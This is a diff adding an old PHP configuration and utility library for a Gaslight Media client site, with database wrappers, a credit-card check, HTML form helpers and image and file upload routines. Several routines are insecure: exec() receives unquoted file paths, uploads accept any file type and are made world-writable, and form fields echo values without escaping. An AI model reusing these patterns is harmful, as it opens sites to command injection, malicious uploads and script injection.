+ define("DB_TYPE", "postgres"); // DB library only knows postgres (FUTURE EXPANSION)
+ define("DB_ERROR_MSG", "an error has occured with the database!"); // default error message
+ define("MULTIPLE_CAT",0); // weather or not to use many to many relations
+ define("CAT_LOCK",0); // If set to 1 or true will lock the categories
+ define("ENTRIES_PER_PAGE",10); // default per page number
+ define("HTML_HELP_CODE",1); // this is being depreciated for general help guides
+ define("PRODUCTION_MODE","ON"); // used in the email out for contact DB
+ define("HTML_EMAIL","ON"); // turn ON for html emails
+ define("ACTIVE_FLAG",1); // turn on if bus_category table has active bool field
+ define("DELUXE_TOOLBOX",1); // used for the toolbox deluxe vrs.
+ define("SEO_URL",1); // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+ /*
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ */
+
+ // Find where this file is located
+
+ $BASE_PATH = dirname( __FILE__ );
+
+ $CALLED_FROM_DIR = substr( dirname($HTTP_SERVER_VARS["PATH_TRANSLATED"]), strlen($BASE_PATH) );
+
+ if( ($x = strlen($CALLED_FROM_DIR)) > 0 )
+ $base_url = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($CALLED_FROM_DIR) );
+ else
+ {
+ $script_name_dir = dirname($SCRIPT_NAME);
+ if( $script_name_dir == "/" )
+ $script_name_dir = "";
+ $base_url = $HTTP_HOST.$script_name_dir;
+ }
+
+ $BASE_URL = "http://".$base_url;
+ $BASE_SECURE_URL = "https://".$base_url;
+
+ // Indicate that this file has been referenced
+
+ $SITEINFO = TRUE;
+
+
+ /*
+ *
+ * Dynamic Configuration - Parameters that DO change based on location
+ *
+ */
+
+ switch( $GLM_SERVER_ID )
+ {
+
+ case "devsys.gaslightmedia.com":
+ //error_reporting(E_ERROR);
+ // ini_set("display_errors","1");
+ // Use the $BASE_URL for secure URL on Devsys
+ $BASE_SECURE_URL = $BASE_URL;
+define("CONN_STR","host=devsys dbname=thelindy");
+ define("OWNER_EMAIL", "ove@gaslightmedia.com,raleigh@gaslightmedia.com"); // site owner's email address
+ define("REPLY_TO", "ove@gaslightmedia.com"); // the reply-to field for email's
+ break;
+
+ case "ws1.gaslightmedia.com":
+ error_reporting(0);
+ ini_set("display_errors","0");
+ $BASE_SECURE_URL = "https://".$base_url;
+define("CONN_STR","host=ds1 dbname=thelindy");
+ define("OWNER_EMAIL", "info@spectrusinc.com"); // site owner's email address
+ define("REPLY_TO", "info@spectrusinc.com"); // the reply-to field for email's
+ break;
+
+ default: // There should be no need for any settings here
+ break;
+
+ }
+ define("BASE_URL", $BASE_URL."/"); // url used for the root of site
+ define("URL_BASE", $BASE_URL."/"); // same as BASE_URL
+ define("BASE_PATH", $BASE_PATH."/"); // root directory path of site
+ define("BASE", $BASE_PATH."/"); // same as BASE_PATH
+ define("HELP_BASE", "help/"); // help guide base (depreciated)
+ define("UP_BASE", BASE."uploads/"); // uploads directory path
+ define("IMG_BASE", URL_BASE."images/"); // the images url path
+ define("POSTCARD_URL",URL."postcard.phtml"); // postcard url (used for postcard app)
+ define("LOGO_IMG",URL_BASE."images/logoicon.gif"); // used in admin area as the path to image logo
+ define("HELP_IMG",URL_BASE."images/help.gif"); // help image url (depriated)
+ define("ORIGINAL_PATH", BASE."images/original/"); // path of original images
+ define("RESIZED_PATH", BASE."images/resized/"); // path of first resized image
+ define("MIDSIZED_PATH", BASE."images/midsized/"); // path of half sized of resized
+ define("THUMB_PATH", BASE."images/thumb/"); // path of thumbnail directory
+ if( $_SERVER['HTTPS'] == "on" )
+ {
+ define("ORIGINAL", $BASE_SECURE_URL."/images/original/"); // url of original images
+ define("RESIZED", $BASE_SECURE_URL."/images/resized/"); // url of resized
+ define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/"); // url of midsized
+ define("THUMB", $BASE_SECURE_URL."/images/thumb/"); // url of thumbnail
+ }
+ else
+ {
+ define("ORIGINAL", URL_BASE."images/original/"); // url of original images
+ define("RESIZED", URL_BASE."images/resized/"); // url of resized
+ define("MIDSIZED", URL_BASE."images/midsized/"); // url of midsized
+ define("THUMB", URL_BASE."images/thumb/"); // url of thumbnail
+ }
+
+ /** these are the image sizing defines USE THESE ONLY
+ only allowed string of 'WxH[<>]' [-quality Percentage]
+ */
+ define("ITEM_RESIZED", "'287>' -quality 60"); // used in convert call to resize images
+ define("ITEM_MIDSIZED", "'200>' -quality 60");
+ define("ITEM_THUMB","'120>' -quality 50");
+
+ define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+ define("FOOTER_URL", URL_BASE);
+ define("STYLE","main.css");
+
+ // [status_US] array of states and their abbr.
+ $states_US[""] = "";
+ $states_US["AL"]= "Alabama";
+ $states_US["AK"]= "Alaska";
+ $states_US["AZ"]= "Arizona";
+ $states_US["AR"]= "Arkansas";
+ $states_US["CA"]= "California";
+ $states_US["CO"]= "Colorado";
+ $states_US["CT"]= "Connecticut";
+ $states_US["DE"]= "Delaware";
+ $states_US["DC"]= "District of Columbia";
+ $states_US["FL"]= "Florida";
+ $states_US["GA"]= "Georgia";
+ $states_US["HI"]= "Hawaii";
+ $states_US["ID"]= "Idaho";
+ $states_US["IL"]= "Illinois";
+ $states_US["IN"]= "Indiana";
+ $states_US["IA"]= "Iowa";
+ $states_US["KS"]= "Kansas";
+ $states_US["KY"]= "Kentucky";
+ $states_US["LA"]= "Louisiana";
+ $states_US["ME"]= "Maine";
+ $states_US["MD"]= "Maryland";
+ $states_US["MA"]= "Massachusetts";
+ $states_US["MI"]= "Michigan";
+ $states_US["MN"]= "Minnesota";
+ $states_US["MS"]= "Mississppi";
+ $states_US["MO"]= "Missouri";
+ $states_US["MT"]= "Montana";
+ $states_US["NE"]= "Nebraska";
+ $states_US["NV"]= "Nevada";
+ $states_US["NH"]= "New Hampshire";
+ $states_US["NJ"]= "New Jersey";
+ $states_US["NM"]= "New Mexico";
+ $states_US["NY"]= "New York";
+ $states_US["NC"]= "North Carolina";
+ $states_US["ND"]= "North Dakota";
+ $states_US["OH"]= "Ohio";
+ $states_US["OK"]= "Oklahoma";
+ $states_US["OR"]= "Oregon";
+ $states_US["PA"]= "Pennsylvania";
+ $states_US["RI"]= "Rhode Island";
+ $states_US["SC"]= "South Carolina";
+ $states_US["SD"]= "South Dakota";
+ $states_US["TN"]= "Tennessee";
+ $states_US["TX"]= "Texas";
+ $states_US["UT"]= "Utah";
+ $states_US["VT"]= "Vermont";
+ $states_US["VA"]= "Virginia";
+ $states_US["WA"]= "Washington";
+ $states_US["WV"]= "West Virginia";
+ $states_US["WI"]= "Wisconsin";
+ $states_US["WY"]= "Wyoming";
+
+ // [states] extended states array
+ $states["AL"] = "Alabama";
+ $states["AK"] = "Alaska";
+ $states["AB"] = "Alberta";
+ $states["AS"] = "American Samoa";
+ $states["AZ"] = "Arizona";
+ $states["AR"] = "Arkansas";
+ $states["BC"] = "British Columbia";
+ $states["CA"] = "California";
+ $states["CO"] = "Colorado";
+ $states["CT"] = "Connecticut";
+ $states["DE"] = "Delaware";
+ $states["DC"] = "District of Columbia";
+ $states["FM"] = "Federated States of Micronesia";
+ $states["FL"] = "Florida";
+ $states["GA"] = "Georgia";
+ $states["GU"] = "Guam";
+ $states["HI"] = "Hawaii";
+ $states["ID"] = "Idaho";
+ $states["IL"] = "Illinois";
+ $states["IN"] = "Indiana";
+ $states["IA"] = "Iowa";
+ $states["KS"] = "Kansas";
+ $states["KY"] = "Kentucky";
+ $states["LA"] = "Louisiana";
+ $states["ME"] = "Maine";
+ $states["MB"] = "Manitoba";
+ $states["MH"] = "Marshall Islands";
+ $states["MD"] = "Maryland";
+ $states["MA"] = "Massachusetts";
+ $states["MI"] = "Michigan";
+ $states["MN"] = "Minnesota";
+ $states["MS"] = "Mississppi";
+ $states["MO"] = "Missouri";
+ $states["MT"] = "Montana";
+ $states["NE"] = "Nebraska";
+ $states["NV"] = "Nevada";
+ $states["NB"] = "New Brunswick";
+ $states["NF"] = "Newfoundland";
+ $states["NH"] = "New Hampshire";
+ $states["NJ"] = "New Jersey";
+ $states["NM"] = "New Mexico";
+ $states["NY"] = "New York";
+ $states["NC"] = "North Carolina";
+ $states["ND"] = "North Dakota";
+ $states["MP"] = "Northern Mariana Islands";
+ $states["NT"] = "Northwest Territories";
+ $states["NS"] = "Nova Scotia";
+ $states["OH"] = "Ohio";
+ $states["OK"] = "Oklahoma";
+ $states["ON"] = "Ontario";
+ $states["OR"] = "Oregon";
+ $states["PW"] = "Palau";
+ $states["PA"] = "Pennsylvania";
+ $states["PE"] = "Prince Edward Island";
+ $states["PR"] = "Puerto Rico";
+ $states["QC"] = "Quebec";
+ $states["RI"] = "Rhode Island";
+ $states["SK"] = "Saskatchewan";
+ $states["SC"] = "South Carolina";
+ $states["SD"] = "South Dakota";
+ $states["TN"] = "Tennessee";
+ $states["TX"] = "Texas";
+ $states["UT"] = "Utah";
+ $states["VT"] = "Vermont";
+ $states["VI"] = "Virgin Islands";
+ $states["VA"] = "Virginia";
+ $states["WA"] = "Washington";
+ $states["WV"] = "West Virginia";
+ $states["WI"] = "Wisconsin";
+ $states["WY"] = "Wyoming";
+ $states["YT"] = "Yukon";
+ $states["Asia"] = "Asia";
+ $states["Australia"] = "Australia";
+ $states["Bahamas"] = "Bahamas";
+ $states["Caribbean"] = "Caribbean";
+ $states["Costa Rica"] = "Costa Rica";
+ $states["South America"] = "South America";
+ $states["South Africa"] = "South Africa";
+ $states["Europe"] = "Europe";
+ $states["Mexico"] = "Mexico";
+ /* Libraries */
+ /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+ // Build picklist array of country codes
+ // Open the source list
+ $cfile=file(BASE_PATH."country_codes.txt");
+ $country_codes['']="- Select a Country -";
+ for($i=0;$i<sizeof($cfile);$i++)
+ {
+ $cfile[$i]=str_replace("\n",'',$cfile[$i]);
+ $cfile[$i]=str_replace("\r",'',$cfile[$i]);
+
+ $curr_cun=explode(';',$cfile[$i]); // Still some work to do, because the file is in the wrong order Value=>Key
+ $country_codes[$curr_cun[1]]=$curr_cun[0];
+ }
+
+ /**
+ * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+ card type is given, attempts to guess. Then, if a list of
+ accepted types is given, determines whether or not we'll
+ accept it
+ * @param $Num: Credit Card Number
+ * @param $Name = '': Type of Card
+ * @param $Accepted='' : Accepted array
+ *
+ * @return bool
+ * @access
+ **/
+ function CreditVal($Num, $Name = '', $Accepted='')
+ {
+ $Name = strtolower( $Name );
+ $Accepted = strtolower( $Accepted );
+ $GoodCard = 1;
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+ switch ($Name)
+ {
+
+ case "mastercard" :
+ $GoodCard = ereg("^5[1-5].{14}$", $Num);
+ break;
+
+ case "visa" :
+ $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num);
+ break;
+
+ case "americanexpress" :
+ $GoodCard = ereg("^3[47].{13}$", $Num);
+ break;
+
+ case "discover" :
+ $GoodCard = ereg("^6011.{12}$", $Num);
+ break;
+
+ case "dinerscard" :
+ $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num);
+ break;
+
+ default:
+ if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+ if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+ if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+ if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+ if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+ break;
+ }
+
+ // If there's a limit on card types we accept, check for it here.
+ if( $Accepted )
+ {
+ $type_verified = FALSE;
+ $brands = explode_trim( ",", $Accepted );
+ foreach( $brands as $brand )
+ if( $Name == $brand )
+ $type_verified = TRUE;
+
+ if( !$type_verified ) return(FALSE);
+ }
+
+ $Num = strrev($Num);
+
+ $Total = 0;
+
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ $Total += $digit;
+ }
+ if ($GoodCard && $Total % 10 == 0)
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+ /* DataBase Library */
+
+ /**
+ * db_connect :Creates a connection to database specified $conn_str
+ * @param $conn="" : connection string
+ *
+ * @return index or bool
+ * @access
+ **/
+ function db_connect($conn="")
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn = CONN_STR;
+ $ret = pg_connect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_close :Closes the connection to database specified by the handle dbd
+ * @param $$dbd : database handle
+ *
+ * @return bool
+ * @access
+ **/
+ function db_close($dbd)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_close($dbd);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ NOTICE DON'T USE THIS
+ * db_pconnect :Creates a persistant connection to database specified in $conn_str
+ * @param $$conn="" : connection string
+ *
+ * @return
+ * @access
+ **/
+ function db_pconnect($conn="")
+ {
+ return( false );
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn == CONN_STR;
+ $ret = pg_pconnect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_exec : Execute an SQL query
+ * @param $dbd: database handle
+ * @param $$qs : Query
+ *
+ * @return int Returns a valid result index on success 0 on failure
+ * @access
+ **/
+ function db_exec($dbd, $qs)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_exec($dbd, $qs);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_fetch_array :Stores the data in associative indices, using the field names as
+ * keys.
+ * @param $res: valid database result index
+ * @param $i: row number
+ * @param $$type : database type
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_fetch_array($res, $i, $type)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($row);
+ }
+
+ /**
+ * db_freeresult :Free result memory.
+ * @param $$res : valid database result index
+ *
+ * @return bool - Returns 1 for success 0 for failure
+ * @access
+ **/
+ function db_freeresult($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_freeresult($res);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_numrows :Determine number of rows in a result index
+ * @param $$res : valid database result index
+ *
+ * @return int - Returns number of rows
+ * @access
+ **/
+ function db_numrows($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_numrows($res);
+ break;
+
+ default:
+ return(-1);
+ }
+
+ return($ret);
+ }
+
+ /************************************************************************
+ * *
+ * BEGIN Auto functions *
+ * *
+ ***********************************************************************/
+
+ /**
+ * db_auto_array :The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ * @param $qs: SQL query string
+ * @param $i: row number
+ * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ *
+ * @return array - Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_array($qs, $i, $type)
+ {
+
+ $dbd = db_connect();
+ if(!$dbd)
+ {
+ return(0);
+ }
+ $res = db_exec($dbd, $qs);
+ if(!$res)
+ {
+ return(0);
+ }
+
+ $row = db_fetch_array($res, $i, $type);
+
+ if(!db_freeresult($res))
+ {
+ return(0);
+ }
+
+ db_close($dbd);
+ return($row);
+ }
+
+ /**
+ * db_auto_exec :The auto function for executing a query.
+ * This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns success (not a valid result index)
+ * @param $qs: SQL query string
+ * @param $$conn="" : Connect String
+ *
+ * @return int - Returns 1 (or oid, if available) for success 0 for failure
+ * @access
+ **/
+ function db_auto_exec($qs, $conn="")
+ {
+
+ if($conn == "")
+ $conn = CONN_STR;
+ $dbd = db_connect($conn);
+ if(!$dbd)
+ return(0);
+ if(!db_exec($dbd, $qs))
+ {
+ db_close($dbd);
+ return(0);
+ }
+ else
+ {
+ db_close($dbd);
+ return(1);
+ }
+ }
+
+ /**
+ * db_auto_get_data :The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ * @param $qs: SQL query string
+ * @param $CONN_STR: Connect String
+ * @param $$fail_mode=0 : Failure Mode
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0)
+ {
+
+ if( !($dbd = db_connect($conn)) )
+ {
+ return( FALSE );
+ }
+
+ if( !($res = db_exec($dbd, $qs)) )
+ {
+ return( FALSE );
+ }
+
+ $totalrows = pg_NumRows($res);
+
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+ }
+
+ db_close( $dbd );
+ if(isset($data) && $data!="")
+ {
+ return( $data );
+ }
+ else
+ {
+ return(0);
+ }
+ }
+
+ /* HTML Libraries */
+
+ /**
+ * html_footer :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ *
+ * @return void
+ * @access
+ **/
+ function html_footer()
+ {
+ $footer_table_width = "400";
+ $footer_table_align = "center";
+
+ ?>
+ <hr>
+ <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+ <tr>
+ <td align="left" class="footertd">
+ <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+ </td>
+ <td align="right" class="footertd">
+ <a href="<?echo FOOTER_URL?>" target="new">
+ <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ <?
+ exit(); /* we've got to terminate any more output */
+ }
+
+ /**
+ * html_error :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ * @param $msg: string error message to be displayed
+ * @param $$bail : bool whether or not to exit() after $msg
+ *
+ * @return void
+ * @access
+ **/
+ function html_error($msg, $bail)
+ {
+ ?>
+ <table summary="Error Information" class="errortable" cellspacing="0">
+ <tr class="errortr">
+ <td class="errortd">
+ <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+ </td>
+ </tr>
+ </table>
+
+ <?
+ if($bail)
+ {
+ html_footer();
+ }
+ }
+
+ /**
+ * html_nav_table :Generates a navigation table on the page it's called on.
+ * @param $nav: associative array with entries like:$nav[text][url]
+ * @param $$w : max width of table
+ *
+ * @return void
+ * @access
+ **/
+ function html_nav_table($nav, $w)
+ {
+ $nav_table_table_width = "400";
+ $nav_table_table_align = "center";
+ ?>
+ <table width="100%" align="center" summary="Navigation Information" class="navtable" cellspacing="0" border="0">
+ <tr class="navtr">
+ <?
+ $i = 0;
+ $width = 100 / $w;
+
+ while(list($text, $url) = each($nav))
+ {
+ $i++;
+ if(($i == (count($nav))) && (($w % $i) != 1))
+ {
+ $cs = ($w - ((count($nav)-1) % $w));
+ }
+ else
+ {
+ $cs = 1;
+ }
+ ?>
+ <td width="<?echo $width."%"?>"class="navtd" colspan="<?echo $cs?>" align="center">
+ <?
+ if(is_array($url))
+ echo "<a href=\"$url[0]\" $url[1] title=\"$text\">";
+ else
+ echo "<a href=\"$url\" title=\"$text\">";
+ ?>
+ <div class="navtext"><?echo $text?></a></div>
+ </td>
+ <?
+ if(!($i % $w))
+ print"</tr>\n\t<tr class=\"navtr\">\n";
+ if($i == count($nav))
+ {
+ print"</tr>\n";
+ }
+ }
+ ?>
+ </table>
+ <?
+ }
+
+ /**
+ * html_header :Opens up the html tags, and includes the style sheet link
+ generates a header table on the top of the page it's called on.
+ * @param $title: Page Title
+ * @param $msg: message to display
+ * @param $$img : image to display
+ *
+ * @return void
+ * @access
+ **/
+ function html_header($title, $msg, $img)
+ {
+ $header_table_width = "400";
+ $header_table_align = "center";
+
+ ?>
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+ <html>
+ <head>
+ <title><?echo $title?></title>
+ <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+ </head>
+ <body>
+ <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+ <tr class="headertr">
+ <td class="headertd">
+ <?
+ if($img)
+ {
+ ?>
+ <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+ <?
+ }
+ ?>
+ </td>
+ </tr>
+ <tr>
+ <td class="headertd2" align="center">
+ <div class="headerh2" align="center"><?echo "$msg"?></div>
+ </td>
+ </tr>
+ </table>
+ <?
+ }
+
+ /**
+ * form_header :Opens up the form tag, and includes the hidden assoc array as hidden
+ fields.
+ * @param $action: string form action string
+ * @param $method: string Method of form
+ * @param $$hidden = "" : assoc array with $hidden($name => $value)
+ *
+ * @return void
+ * @access
+ **/
+ function form_header($action, $method, $hidden = "")
+ {
+ echo "<form action=\"$action\" method=\"$method\"
+ enctype=\"multipart/form-data\">";
+ if($hidden != "" && is_array($hidden))
+ {
+ foreach($hidden as $key=>$value)
+ {
+ echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+ }
+ }
+ }
+
+ /**
+ * text_area :Creates textarea with good default values for rows cols and wrap.
+ * @param $name: string form action string
+ * @param $value: string Method of form
+ * @param $$rows = 15: int4 number of rows in textarea box
+ * @param $$cols = 50: int4 number of cols in textarea box
+ * @param $$wrap = "virtual" : string the wrap value for the textarea box
+ *
+ * @return void
+ * @access
+ **/
+ function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" )
+ {
+ echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\"
+ rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+ }
+
+ /**
+ * text_box :Creates a input box for text with 35 as default size
+ * @param $name: string name of text box
+ * @param $value: string value of text box
+ * @param $$size = 35 : string size of text box
+ *
+ * @return void
+ * @access
+ **/
+ function text_box($name, $value, $size = 35)
+ {
+ echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\"
+ value=\"$value\" size=\"$size\"></td>";
+ }
+
+ /**
+ * form_footer :Closes up the form tag, and includes the submit button
+ * @param $name: string form action string
+ * @param $$suppress = 0: string Method of form
+ * @param $$cs : int colspan for td
+ *
+ * @return void
+ * @access
+ **/
+ function form_footer($name, $suppress = 0, $cs)
+ {
+ echo "<tr><td colspan=\"$cs\" align=center>
+ <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+ if($suppress == 1)
+ {
+ echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+ }
+ /* echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+ echo "</td>";
+ }
+
+ /* Graphics Libraries */
+
+ /**
+ * process_image :Main function for image processing
+ * NOTES:
+ * This function does the following:
+ *
+ * 1) places image into original folder
+ *
+ * 2) makes three images from original size and places them
+ * into the RESIZED, MIDSIZED, and THUMB folders
+ * @param $image: The variable of the image being post from the form
+ * @param $$image_name : The variable_name of the image being post
+ *
+ * @return string - Returns $image_name
+ * @access
+ **/
+ function process_image ($image,$image_name)
+ {
+ /* LOOK for these as defined in the top of this page
+ $ITEM_ORIGINAL = "'600>' -quality 60";
+ $ITEM_RESIZED = "'287>' -quality 60";
+ $ITEM_MIDSIZED = "'210>' -quality 60";
+ $ITEM_THUMB = "'120>' -quality 50";
+ */
+ if(!defined("ORIGINAL_PATH"))
+ {
+ html_error("this not defined original_path",1);
+ }
+ if(!defined("RESIZED_PATH"))
+ {
+ html_error("this not defined resized_path",1);
+ }
+ if(!defined("MIDSIZED_PATH"))
+ {
+ html_error("this not defined midsized_path",1);
+ }
+ if(!defined("THUMB_PATH"))
+ {
+ html_error("this not defined thumb_path",1);
+ }
+ $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+ //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+ img_resize($image_upload_array[1],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+ img_resize($image_upload_array[1],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+ img_resize($image_upload_array[1],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+ $image_name = $image_upload_array[0];
+ return($image_name);
+ }
+
+ /**
+ * img_resize :Resizes an image based on a full scale jpeg or gif
+ * @param $image: path to image which needs to be resized
+ * @param $thumb: path where resized image will live
+ * @param $$size : using axis size of new image
+ *
+ * @return array $img_resize_array
+ * @access
+ **/
+ function img_resize($path2image,$path2thumb,$size)
+ {
+ exec( "type convert", $output, $return );
+ if( $return == 0 )
+ {
+ $command = substr( $output[0],11);//
+ $pos = strpos($command,"convert");
+ $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+ }
+ else
+ {
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+ }
+ $imageName = basename($path2image);
+ $thumbName = basename($path2thumb);
+
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+
+ exec("$Path2GraphicsTools/convert -scale $size $path2image $path2thumb");
+
+ $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+ return($img_resize_array);
+ }
+
+ /**
+ * img_upload :Function moves the image to the destination directory
+ Checking to make sure that it does not have same named file in dicectory.
+ Image must be either jpg ,png or gif format file to be uploaded.
+ * @param $form_field: $form_field of image
+ * @param $img_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return array $img_upload_array
+ * @access
+ **/
+ function img_upload($form_field,$img_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name))
+ {
+ $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+ }
+
+ $size = getImageSize($form_field);
+
+ if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 )
+ {
+ $i = "0";
+ $d = dir($destination_path);
+ $img_name_in_use = "FALSE";
+ while($entry=$d->read())
+ {
+ if ($entry == $img_name)
+ {
+ $img_name_in_use = "TRUE";
+ }
+ ++$i;
+ }
+ $d->close();
+
+ if ($img_name_in_use == "TRUE")
+ {
+ $new_img_name = mktime().$img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ else
+ {
+ $new_img_name = $img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ }
+ else
+ {
+ echo '<p style="background-color:red;color:white;">'
+ .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+ .'<BR CLEAR=ALL>'
+ .'</p>'
+ ."Hit your browser's back button to continue"
+ .'<P>';
+ $error[0] = "ERROR";
+ return($error);
+ }
+
+ return($img_upload_array);
+ }
+
+ /**
+ * file_upload :Uploads a file same way as image_uploads does
+ * @param $form_field: $form_field of image
+ * @param $file_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return string $file_upload
+ * @access
+ **/
+ function file_upload($form_field,$file_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name))
+ {
+ $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+ }
+
+ $i = "0";
+ $d = dir($destination_path);
+ $file_name_in_use = "FALSE";
+ while($entry=$d->read())
+ {
+ if ($entry == $file_name)
+ {
+ $file_name_in_use = "TRUE";
+ }
+ ++$i;
+ }
+ $d->close();
+
+ if ($file_name_in_use == "TRUE")
+ {
+ $new_file_name = mktime().$file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ else
+ {
+ $new_file_name = $file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ return($file_upload);
+ }
+
+ /* Misc. Functions */
+
+ /**
+ * http_strip :Strips the http:// part from start of string
+ * @param $&$string : $string
+ *
+ * @return string $stirng minus http:// in front
+ * @access
+ **/
+ function http_strip(&$string)
+ {
+ $test_string = strtolower($string);
+ if(substr($test_string,0,7) == "http://")
+ {
+ $string = substr($string,7);
+ }
+ }
+
+ /**
+ * footer : used for admin page footer to close out the top function
+ *
+ * @return void
+ * @access
+ **/
+ function footer()
+ {
+ ?>
+ </td>
+ </tr>
+ </table>
+ <!----------------- COPYRIGHT LINE ------------------->
+ <hr width=680 noshade size="1">
+ <div class="footer">
+ <i>Produced by</i>
+ <a href="http://www.gaslightmedia.com/" target=blank><span style="color:#5070A0;font-size:10px;">
+ <i>Gaslight Media</i></span></a>
+ <i>All Rights Reserved</i></div>
+ </body>
+ </html>
+ <?
+ }
+
+ /**
+ * top :Output the starting html and admin table tags
+ * @param $message: The title
+ * @param $hp: The help file to use
+ * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+ *
+ * @return void
+ * @access
+ **/
